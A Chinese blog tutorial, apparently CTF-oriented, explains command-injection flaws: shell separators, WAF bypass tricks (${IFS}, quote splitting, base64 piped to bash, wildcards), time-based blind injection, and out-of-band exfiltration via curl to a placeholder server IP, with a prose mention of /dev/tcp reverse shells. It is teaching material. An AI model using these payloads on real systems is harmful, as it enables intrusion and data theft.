当前位置: 首页 > article >正文

zyNo.22

常见Web漏洞解析

命令执行漏洞

1.Bash与CMD常用命令

(1)Bash

读取文件:最常见的命令cat flag

在 Bash 中,cat 以及的tacnlmoreheadlesstailodpr 均为文件读取相关命令,它们的区别如下:

·cat

按顺序依次输出各文件内容,常用于快速查看小文件内容,或在脚本中组合文件内容等场景。

· tac

cat 相反,tac flag 会将 flag 文件内容从最后一行到第一行依次显示。

· nl

nl flag 会在显示 flag 文件内容的同时,给每行添加上行号

· more

逐页显示文件内容,按空格键显示下一页,按回车键显示下一行。当使用 more flag 时,会以分页形式展示 flag 文件内容。但它不支持反向浏览,适用于粗略查看文件且不需要太多交互操作的场景。

· head

默认显示文件的前 10 行内容。可通过选项指定显示的行数,比如 head -n 5 flag 会显示 flag 文件的前 5 行。常用于快速查看文件开头部分内容,了解文件大致结构或开头关键信息。

· less

也是分页显示文件内容,功能比 more 更强大。支持前后翻页(使用 Page Up 和 Page Down 键等)、搜索内容(输入 / 后接关键词可向下搜索,? 后接关键词可向上搜索)等操作。输入 less flag 后,可对 flag 文件进行多种交互操作,适合查看较大文件且需要频繁定位内容的情况。

·tail

默认显示文件的最后 10 行内容,同样可通过选项指定显示行数,如 tail -n 5 flag 显示 flag 文件的最后 5 行。还可以使用 -f 选项实时查看文件追加的内容,常用于查看日志文件等,当有新日志写入时,tail -f 能即时显示新内容。

· od

以八进制、十六进制等多种格式显示文件内容,主要用于查看二进制文件或者文本文件的原始字节数据。od flag 会以特定的格式展示 flag 文件的底层数据形式,对于分析二进制文件结构等场景很有用。

· pr

用于将文件内容格式化输出,比如添加页眉、页脚,进行分页等处理,方便打印。例如 pr flag 会对 flag 文件内容进行格式化后输出,可通过选项设置页眉页脚样式、页宽等参数。

其他

rm a.txt                 删除a.txt

mv a b                  将a文件重命名为b

cp a a2                 复制a到a2

ls                          列出当前目录

ls/etc                    列出 /etc 目录下的文件

(2)cmd

dir           显示目录里的文件和文件夹

cd           切换目录

md          创建新的文件夹

rd            删除文件夹(但前提是这个文件夹得是空的)

del           删除文件

cls           清屏

copy        复制文件(相当于Linux里的cp)

ren          重命名文件

type        显示文件的内容

2.命令执行漏洞的基础概念

调用了system函数,中间的参数可控,没对username进行过滤,里面内容可能被注入其他命令

利用命令连接符注入我们想要执行的命令(例如system('mkdir &ls'...):

A;B:无论A执行成功与否都会执行B

A&B:A后台执行,A、B同时执行

A&&B:A执行成功后才能执行B

A|B:A执行的结果作为B命令的参数,AB均会执行

A | |B:A 执行失败后执行B

注意:如果直接把一些特殊符号放在URL里,可能服务器根本识别不了你想要的命令。所以得对这些特殊符号进行URL编码。比如,“;”编码后会变成“%3B”,“&”编码后是“%26”

3.过滤敏感字符串绕过的漏洞案例

黑名单过滤或者前面有安装WAF

WAF中会拦截、过滤各种字符

(1)过滤空格

可以用%09、%0a(在url编码中用得上)、${IFS}、$IFS$9(在Linux shell中用得上)等字符来过滤关键字。

(2)过滤关键字(cat、flag等)

1)用开头的读取文件替代命令去读取文件。

2)在过滤的字符串中加入单引号、双引号或反斜杠( ca"t ca"'"t ca\t ) 

3)$(printf"\x6c\x73") == Is:利用printf+16进制输出Is,再用$()调用Is

4 ) echo Y2FOIGluZGV4LnBocA == | Base64-d | bash:Base64编码绕过,echo Base64的结果通过|又传入了Base64,解密命令后又传入bash执行。

5)利用通配符:catfl?g    catf*(“c*a*t f*l*g*.t*x*t”。这里“*”代表任意多个字符,这样就也可以模糊匹配到“cat flag.txt”命令)

6)a=c;b=at;$a$b:利用Linux下的变量拼接动态执行命令。

4.无回显的命令执行漏洞案例

system有回显exec无回显,具体区别看我另一篇文章在PHP中,system函数和exec函数有不同的功能和特点-CSDN博客文章浏览阅读42次。• system函数方便获取命令最后一行输出且直接显示全部输出,适合简单查看命令执行结果的场景。• exec函数更侧重于控制命令执行状态,如需获取输出需要额外处理,在一些对输出控制要求更精细、需要灵活处理的场景中使用。 https://blog.csdn.net/2401_88743143/article/details/145570794?sharetype=blogdetail&sharerId=145570794&sharerefer=PC&sharesource=2401_88743143&sharefrom=mp_from_link

无回显函数来执行命令时,可以用反弹shell,了解相关知识,并在ai上取了个生动形象的例子看我另一篇文章反弹shell-CSDN博客文章浏览阅读22次。这段代码就像是一把特殊的 “钥匙”。bash -i就像是打开 Shell 这扇门的初始动作,它启动了一个交互式的 bash Shell,就好像在屋子内部打开了一个可以操作的控制台。这部分,/dev/tcp是 Linux 系统里一种特殊的网络设备接口,ip是黑客自己服务器的地址,port是一个特定的端口号,这部分相当于让靶机按照黑客服务器的地址和端口号去建立一个连接,就像是让屋子里的人按照小偷给的地址和门牌号去敲门。0>&1则是把标准输入也导向这个连接,保证整个交互过程的顺畅。 https://blog.csdn.net/2401_88743143/article/details/145573131?sharetype=blogdetail&sharerId=145573131&sharerefer=PC&sharesource=2401_88743143&sharefrom=mp_from_link

攻击时没有回显常用的payload就是sleep 5判断这里是否存在命令注入。存在漏洞就会延时5s,当我们输入cmd=sleep5,服务器等待5s才回显出页面的话,存在命令注入,可以开始外带数据了。一般常见的就是使用HTTP外带数据,使用curl或者wget:        先在服务器上设置一个监听端口,然后在靶机上发送post请求去监听端口curl http://服务器 IP/-X POST-d"a=`ls`"(如果没有反引号,还可以使用$()代替。)如果不能用反引号,$()这些嵌套命令执行符号,怎懡外带数据,在Linux中可以把命令执行的结果写入tmp目录,并且用curl把这个文件发到我们自己的机器上

命令解释:

1)首先用重定向符号>把命令执行结果写入到/tmp/re-sult中。

2)然后利用curl的-F参数将文件上传,将/tmp/result发送到远程服务器,参数格式如下 :- F"任意值=@文件路径"。

5.不出网的命令执行漏洞案例

假设web目录有写权限,那么我们可以把命令执行的结果写到Web根目录下(用>),然后去访问即可获得结果,http://127.0.0.1:8080/cmd.php? cmd=ls-1>1.txt

如果目录不可写,那么我们可以通过延时注入来获取内容,if [ 'whoami |cut-c 1'="r" ]; then sleep 2;fi

以上的命令盲注大致分3步。

1)首先是利用反引号执行whoami|cut-c1。获取到whoami的第一个字符r。

2)比较命令执行的返回结果和r,一致则返回True,否则就返回False。 

3)最后进行if判断,如果为True,就sleep 2s。

经典例题[GXYCTF2019]Ping Ping Ping (文件执行漏洞)-CSDN博客文章浏览阅读2.5k次,点赞23次,收藏30次。通过回显我们可以知道在当前目录有flag.php和index.php文件。管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)比如我们想执行 cat flag.php但对方过滤了flag字符串。前面的语句为假则直接出错,后面的也不执行,前面只能为真。这个的意思是匹配到按flag这个顺序的所有字符。这个的意思是匹配到按flag这个顺序的所有字符。1、命令联合执行(参考lunan0320)cat fla$a.php即可。当前面的执行出错时(为假)执行后面的。前面的执行完执行后面的。_[gxyctf2019]ping ping ping https://blog.csdn.net/weixin_59233715/article/details/134966104?fromshare=blogdetail&sharetype=blogdetail&sharerId=134966104&sharerefer=PC&sharesource=2401_88743143&sharefrom=from_link

相关文章:

zyNo.22

常见Web漏洞解析 命令执行漏洞 1.Bash与CMD常用命令 (1)Bash 读取文件:最常见的命令cat flag 在 Bash 中,cat 以及的tac、nl、more、head、less、tail、od、pr 均为文件读取相关命令,它们的区别如下: …...

idea如何使用AI编程提升效率-在IntelliJ IDEA 中安装 GitHub Copilot 插件的步骤-卓伊凡

idea如何使用AI编程提升效率-在IntelliJ IDEA 中安装 GitHub Copilot 插件的步骤-卓伊凡 问题 idea编译器 安装copilot AI工具 实际操作 在 IntelliJ IDEA 中安装 GitHub Copilot 插件的步骤如下: 打开 IntelliJ IDEA: 打开你的 IntelliJ IDEA 应用…...

有哪些PHP开源框架属于是“高开疯走”的?

“高开疯走”是一个网络流行语或者谐音梗。可能是指一开始起点很高(高开),然后发展迅速或者变得非常牛(疯走)。 在PHP生态中,一些框架面对市场的风起云涌,能持续保持高质量发展,切实…...

C# ASP.NET核心特性介绍

.NET学习资料 .NET学习资料 .NET学习资料 在当今的软件开发领域中,C# ASP.NET凭借其强大的功能和丰富的特性,成为构建 Web 应用程序的重要技术之一。以下将详细介绍 C# ASP.NET的核心特性。 多语言支持 ASP.NET 支持多种语言进行开发,这使…...

在 Linux 系统下,解压 `.tar.gz`

在 Linux 系统下,解压 .tar.gz 文件通常使用 tar 命令。.tar.gz 文件是一种压缩归档文件,它首先使用 tar 命令将多个文件打包为一个 .tar 文件,然后再使用 gzip 压缩生成 .tar.gz 文件。 解压 .tar.gz 文件的命令 要解压 .tar.gz 文件,可以使用以下命令: tar -xzvf fil…...

Unity 接入Tripo 文生模型,图生模型

官方网站:https://www.tripo3d.ai/app/home自行注册账号并且登陆下载Unity插件:https://cdn-web.tripo3d.ai/plugin/tripo-unity.zip申请apikey: https://platform.tripo3d.ai/api-keys使用(后续过程就按照第二步下载的插件里面的…...

WPS计算机二级•文档的文本样式与编号

听说这是目录哦 标题级别❤️新建文本样式 快速套用格式🩷设置标题样式 自定义设置多级编号🧡使用自动编号💛取消自动编号💚设置 页面边框💙添加水印🩵排版技巧怎么分栏💜添加空白下划线&#x…...

安卓使用JExcelApi读取Excel文件

要在安卓应用中使用JExcelApi读取Excel文件,你需要先确保你的项目中已经添加了JExcelApi的依赖。由于安卓项目的构建方式多样,这里以使用Gradle为例来介绍如何在安卓应用中集成和使用JExcelAPI。 ### 步骤1: 添加依赖 首先,在你的build.gra…...

外部中断实验 #STM32F407

外部中断实验 此实验将外部中断配置为按键输入,通过按键输入触发外部中断,在外部中断里面实施相应的处理,具体功能: 按下KEY0,翻转LED0状态按下KEY1,翻转LED1状态按下KEY2,同时翻转LED0和LED1…...

kafka了解-笔记

文章目录 kafka快速上手Kafka介绍Kafka快速上手理解Kafka的集群工作机制Kafka集群的消息流转模型 Kafka客户端小型流转流程客户端工作机制 kafka快速上手 Kafka介绍 MQ的作用 MQ:MessageQueue,消息队列,是一种FIFO先进先出的数据结构&#…...

渗透利器:Burp Suite 联动 XRAY 图形化工具.(主动扫描+被动扫描)

Burp Suite 联动 XRAY 图形化工具.(主动扫描被动扫描) Burp Suite 和 Xray 联合使用,能够将 Burp 的强大流量拦截与修改功能,与 Xray 的高效漏洞检测能力相结合,实现更全面、高效的网络安全测试,同时提升漏…...

解决QTimer报“Timers cannot be started from another thread“错误

今天在Qt编程时,将QTimer在子线程里执行start()函数,遇到“Timers cannot be started from another thread”问题,使用了如下AI工具,进行查询:     提示词A:“C QTimer 如何跨线程”     提示词B&#…...

vant4 van-list组件的使用

<van-listv-if"joblist && joblist.length > 0"v-model:loading"loading":finished"finished":immediate-check"false"finished-text"没有更多了"load"onLoad">// 加载 const loading ref(fals…...

C++11新特性之weak_ptr智能指针

本节介绍最后一个智能指针——weak_ptr智能指针。 1.介绍 weak_ptr智能指针也是以模板类的方式实现的。同样定义在<memory>头文件&#xff0c;并位于std命名空间中。在使用前需包含这两条语句。 C11虽然将weak_ptr当做智能指针&#xff0c;但该类型通常不单独使用&#…...

LM Studio无设置代理,更改镜像源方法(MAC)

在macbook上使用LM Studio时发现总是加载失败&#xff0c;App也没有设置代理的地方&#xff0c;搜索了挺多解决方案&#xff0c;貌似官网再可以封补很多解决方案已经过时&#xff0c;最终找到一种替换镜像源的方法共享出来。 方便大家都能使用&#xff0c;不介绍命令行修改方式…...

js中的== 和 ===运算符的比较和区别(面试题)

和 运算符用于比较 JavaScript 值是否相等。 自动转换数据类型&#xff0c;允许不同类型值的比较。 进行严格相等比较&#xff0c;仅在值和数据类型都相同的情况下返回 true。NaN 仅在 比较中与自身相等&#xff0c;而在 比较中不相等。null 和 undefined 仅在 比较中相等。…...

通过客户端Chatbox或OpenwebUI访问识别不到本地ollama中的模型等问题的解决

Chatbox和Open WebUI 等无法获取到 Ollama里的模型&#xff0c;主要是由以下原因导致&#xff1a; Ollama 服务未正确暴露给 Docker 容器或客户端模型未正确下载或名称不匹配网络配置或权限问题 排查以上问题的思路首先排查ollama服务是否启动&#xff0c;然后再看端口号 使…...

C# 上位机--变量

C# 上位机--变量 在 C# 上位机开发领域&#xff0c;变量是构建程序逻辑的基础元素之一。它就像是一个容器&#xff0c;用于存储各种类型的数据&#xff0c;从简单的数值到复杂的对象。正确理解和使用变量&#xff0c;对于开发出高效、稳定且易于维护的上位机程序至关重要。本文…...

【Mastering Vim 2_01】开篇词:在 AI 时代持续深耕底层技术,做长期主义的坚定捍卫者

【最新版《Mastering Vim》封面&#xff0c;涵盖 Vim 9.0 版特性】 文章目录 1 背景&#xff1a;AI 时代的底层技术觉醒2 Vim&#xff1a;一款被严重低估的文本编辑神器3 聊聊 IT 人士的职业病4 进阶之道&#xff1a;构建完整的知识体系5 从 AI 时代的深耕与精进再谈长期主义 1…...

【JVM详解二】常量池

一、常量池概述 JVM的常量池主要有以下几种&#xff1a; class文件常量池运行时常量池字符串常量池基本类型包装类常量池 它们相互之间关系大致如下图所示&#xff1a; 每个 class 的字节码文件中都有一个常量池&#xff0c;里面是编译后即知的该 class 会用到的字面量与符号引…...

Leetcode - 149双周赛

目录 一、3438. 找到字符串中合法的相邻数字二、3439. 重新安排会议得到最多空余时间 I三、3440. 重新安排会议得到最多空余时间 II四、3441. 变成好标题的最少代价 一、3438. 找到字符串中合法的相邻数字 题目链接 本题有两个条件&#xff1a; 相邻数字互不相同两个数字的的…...

Java爬虫:打造高效的数据抓取利器——详解详情接口设计与实现

在当今数字化时代&#xff0c;数据如同黄金般珍贵。无论是企业进行市场调研、竞争对手分析&#xff0c;还是研究人员收集信息&#xff0c;数据的需求无处不在。而爬虫技术&#xff0c;作为一种高效的数据抓取手段&#xff0c;成为了众多开发者手中的利器。本文将深入探讨如何使…...

蓝桥杯K倍区间(前缀和与差分,取模化简)

输入 5 2 1 2 3 4 5 输出 6 思路&#xff1a;首先由连续子串和可以想用前缀和&#xff0c;由于加减法总和取模和分别取模结果不受影响&#xff0c;所以我们前缀和之后直接取模方便观察性质&#xff0c;本题前缀和&#xff1a;1&#xff0c;3&#xff0c;6&#xff0c;10&#…...

CEF132 编译指南 MacOS 篇 - depot_tools 安装与配置 (四)

1. 引言 在 CEF132&#xff08;Chromium Embedded Framework&#xff09;的编译过程中&#xff0c;depot_tools 扮演着举足轻重的角色。这套由 Chromium 项目精心打造的脚本和工具集&#xff0c;专门用于获取、管理和更新 Chromium 及其相关项目&#xff08;包括 CEF&#xff…...

Ubuntu 20.04 上安装 qBittorrent

qBittorrent 通过终端安装 系统更新系统升级在 Ubuntu 20.04 上添加 Qbittorent PPA系统更新Qbittorent 安装 Qbittorent 是一个开源且可免费使用的点对点比特流客户端。它体积小&#xff0c;不加载内存盘。众所周知&#xff0c;此应用程序可以在许多操作系统&#xff08;例如…...

iPhone 在华销量大幅下挫

iPhone在乔布斯时代缔造的神话在中国正逐渐走向没落&#xff0c;挤牙膏式的升级方式类似于诺基亚的N70系列&#xff0c;毫无新意的创新能力&#xff0c;求稳着陆的经营理念&#xff0c;工艺和美学不再独领风骚&#xff0c;甚至拍照领域和AI增强计算&#xff0c;折叠屏等技术领域…...

【Ubuntu VScode Remote SSH 问题解决】Resolver error: Error: XHR failed

1. 问题描述 VScode使用remote ssh 远程服务器&#xff0c;报错类似&#xff1a; [12:06:01.219] Downloading VS Code server locally... [12:06:01.310] Resolver error: Error: XHR failedat k.onerror (vscode-file://vscode-app/private/var/folders/g1/cvs2rnpx60qc3b4…...

在JVM的栈(虚拟机栈)中,除了栈帧(Stack Frame)还有什么?

在JVM的栈&#xff08;虚拟机栈&#xff09;中&#xff0c;除了栈帧&#xff08;Stack Frame&#xff09;&#xff0c;还有其他一些与方法调用相关的重要信息。栈的主要作用是存储方法调用的执行过程中的上下文信息&#xff0c;栈帧是其中最关键的组成部分。 栈的组成 栈帧&am…...

docker发布自己的镜像

官方node-red镜像&#xff1a; nodered/node-red - Docker Image 拉取v3版本&#xff1a; docker pull nodered/node-red:3.1.14 运行镜像&#xff1a; docker run --restartalways --privilegedtrue -d -p 1880:1880 -v node_red_data:/data --name mynodered nodered/n…...

【人工智能】解码语言之谜:使用Python构建神经机器翻译系统

《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 神经机器翻译(NMT)是近年来机器翻译领域的一项重大突破。它利用深度学习模型,特别是循环神经网络(RNN)和Transformer网络,以端到端的…...